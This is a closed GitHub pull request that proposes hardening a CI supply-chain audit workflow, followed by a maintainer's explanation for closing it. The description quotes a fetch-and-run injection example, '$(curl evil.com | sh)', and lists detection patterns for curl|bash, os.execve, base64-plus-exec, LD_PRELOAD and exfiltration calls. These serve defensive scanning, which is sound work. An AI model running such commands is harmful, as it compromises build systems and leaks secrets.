Skip to content

fix(ci): harden supply chain audit — close bypass vectors, prevent shell injection - #2858

Closed
0xbyt4 wants to merge 3 commits into
NousResearch:mainfrom
0xbyt4:fix/supply-chain-audit-hardening
Closed

fix(ci): harden supply chain audit — close bypass vectors, prevent shell injection#2858
0xbyt4 wants to merge 3 commits into
NousResearch:mainfrom
0xbyt4:fix/supply-chain-audit-hardening

Conversation

@0xbyt4

@0xbyt4 0xbyt4 commented Mar 24, 2026

Copy link
Copy Markdown
Contributor

Summary

The existing supply-chain-audit.yml (merged in #2816) has two critical vulnerabilities and several missing checks. This PR hardens it.

P0: Shell injection in PR comment step

Attacker-controlled diff content (e.g. $(curl evil.com | sh)) was interpolated into a double-quoted bash string via --body "$BODY". Replaced with --body-file and added a sanitize() function that strips shell metacharacters.

P0: Multi-line base64+exec bypass

Putting base64.b64decode() and exec() on separate lines downgraded a PR-blocking CRITICAL to a non-blocking WARNING. Added proximity-based detection (5-line bi-directional window) that catches both orderings.

New critical checks

  • curl | bash / wget | sh (how Trivy CI was compromised)
  • os.execv/execve/execvp/execl family (missing from os.system check)
  • compile() in proximity detection (code object injection pattern)
  • .pyc/.pyo/.so/.dll/.dylib binary file additions

New warning checks

  • ctypes.CDLL / cffi native code loading
  • aiohttp.ClientSession, socket.connect, http.client (expanded exfiltration)
  • PYTHONSTARTUP, LD_PRELOAD, NODE_OPTIONS env hijack vectors
  • .gitmodules, .gitattributes, .pre-commit-config.yaml modifications
  • Dockerfile / docker-compose changes
  • npm lifecycle scripts (preinstall, postinstall)
  • URL-based dependencies (git+https://, http://*.tar.gz)
  • pyproject.toml cmdclass/entry_points/scripts changes
  • Cron persistence (in addition to existing systemd check)

Hardening

  • Pin ubuntu-24.04 instead of ubuntu-latest
  • Pass all GitHub context (base.sha, head.sha, number) via env: instead of ${{ }} expressions to prevent expression injection
  • Add concurrency group to prevent parallel run abuse
  • Exclude known security guard files (file_operations.py, skills_guard.py, etc.) from sensitive-path false positives

Test plan

  • Simulated all attack patterns locally - all detected
  • Verified shell injection fix: backticks and subshells stripped by sanitize()
  • Verified multi-line bypass fix: exec before/after base64 both detected within 5-line window
  • Verified os.execve, compile()+base64 proximity, ctypes, aiohttp, socket all caught
  • Two rounds of independent security audit identified and fixed P0/P1/P2 issues

Ref: BerriAI/litellm#24512

0xbyt4 added 3 commits March 24, 2026 23:05
…ell injection

P0 fixes:
- Shell injection: use --body-file instead of double-quoted $BODY in
  gh pr comment. Add sanitize() to strip shell metacharacters from
  attacker-controlled diff content.
- Multi-line base64+exec bypass: detect base64.b64decode and exec/eval
  within a 5-line bi-directional proximity window, not just same-line.

New critical checks:
- curl|bash / wget|sh (Trivy CI attack vector)
- os.execv/execve/execvp/execl family
- compile() in proximity detection (code object injection)
- .pyc/.pyo/.so/.dll/.dylib binary files

New warning checks:
- ctypes/cffi native code loading
- aiohttp, socket.connect, http.client exfiltration
- PYTHONSTARTUP, LD_PRELOAD, NODE_OPTIONS env hijack
- .gitmodules, .gitattributes, pre-commit config
- Dockerfile/docker-compose changes
- npm lifecycle scripts (preinstall/postinstall)
- URL-based and unpinned dependencies
- pyproject.toml cmdclass/entry_points/scripts
- Cron persistence

Hardening:
- Pin ubuntu-24.04 instead of ubuntu-latest
- Pass GitHub context via env: to prevent expression injection
- Add concurrency group
- Exclude known security guard files from sensitive path warnings

Ref: BerriAI/litellm#24512
- Exclude supply-chain-audit.yml from diff pattern scan to prevent
  false positives (grep patterns for base64/exec/subprocess match
  against themselves). Still warns when the workflow is modified.
- Add continue-on-error to comment step for fork PRs that lack
  pull-requests:write permission.
If supply-chain-audit.yml itself is modified, the PR must be blocked
and reviewed manually. The workflow is excluded from pattern scanning
(to avoid false positives), so without this an attacker could hide
a payload in the workflow file and bypass all checks.
@0xbyt4

0xbyt4 commented Mar 24, 2026

Copy link
Copy Markdown
Contributor Author

This PR modifies the audit workflow itself, so CI will self-flag as CRITICAL , this is expected and intentional (the new behavior we're adding). The workflow excludes itself from pattern scanning to avoid false positives, so any modification requires manual review.

@alt-glitch alt-glitch added type/security Security vulnerability or hardening P1 High — major feature broken, no workaround labels May 2, 2026
@egilewski

Copy link
Copy Markdown
Contributor

merge conflicts

This PR does not merge cleanly with the base branch. Please rebase or merge current main and resolve the conflicts if it's still relevant.

Signed: GPT-5.5-medium in Codex

@teknium1

Copy link
Copy Markdown
Contributor

Thanks for the careful work here, and for digging into supply-chain hardening — but we're going to close this one, for three reasons.

1. The bulk of the additions run against the scanner's design intent. Since this PR was opened, the workflow was deliberately rewritten into a ruthlessly narrow, high-signal scanner. Its header comment is explicit:

Low-signal heuristics (plain base64, plain exec/eval, dependency/Dockerfile/workflow edits, Actions version unpinning, outbound POST/PUT) were intentionally removed — they fired on nearly every PR and trained reviewers to ignore the scanner. Keep this file's checks ruthlessly narrow: if you find yourself adding WARNING-tier patterns here again, make a separate advisory-only workflow instead.

Most of this PR (ctypes/cffi, aiohttp/socket/http.client, .gitmodules/.gitattributes, Dockerfile/compose, npm lifecycle scripts, env-hijack vectors, URL deps, etc.) is exactly the WARNING-tier noise that was removed on purpose. The right home for those is a separate advisory-only workflow, not this one.

2. The P0 "shell injection" isn't real. BODY="...$(cat /tmp/findings.md)..." inserts the file contents as a literal string — bash does not re-evaluate $(...) or backticks that arrive via variable/substitution expansion (there's no eval in the path). Attacker-controlled diff text sitting inside findings.md is inert. Verified by dropping $(touch PWNED) and a backtick payload into a findings file and running the exact comment-build pattern: neither executed. The sanitize() function defends against an attack that can't occur here.

3. The architecture changed. The base here is ~10,700 commits behind main. This edits a standalone on: pull_request workflow; main now drives the audit through the ci.yml orchestrator via workflow_call with input-gated jobs and SHA-pinned actions. The branch is conflicting against that structure.

The one technically-accurate point — the same-line base64+exec check misses a multi-line split — is acknowledged but intentional for a narrow high-signal scanner (the same-line check is already bypassable many other ways; catching every obfuscation isn't its job). Not worth reopening the noise floor for.

Appreciate the effort and the security mindset. If you want to pursue the advisory-only-workflow path described in the header comment, that's a welcome direction.

@teknium1 teknium1 closed this Jun 28, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

P1 High — major feature broken, no workaround type/security Security vulnerability or hardening

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants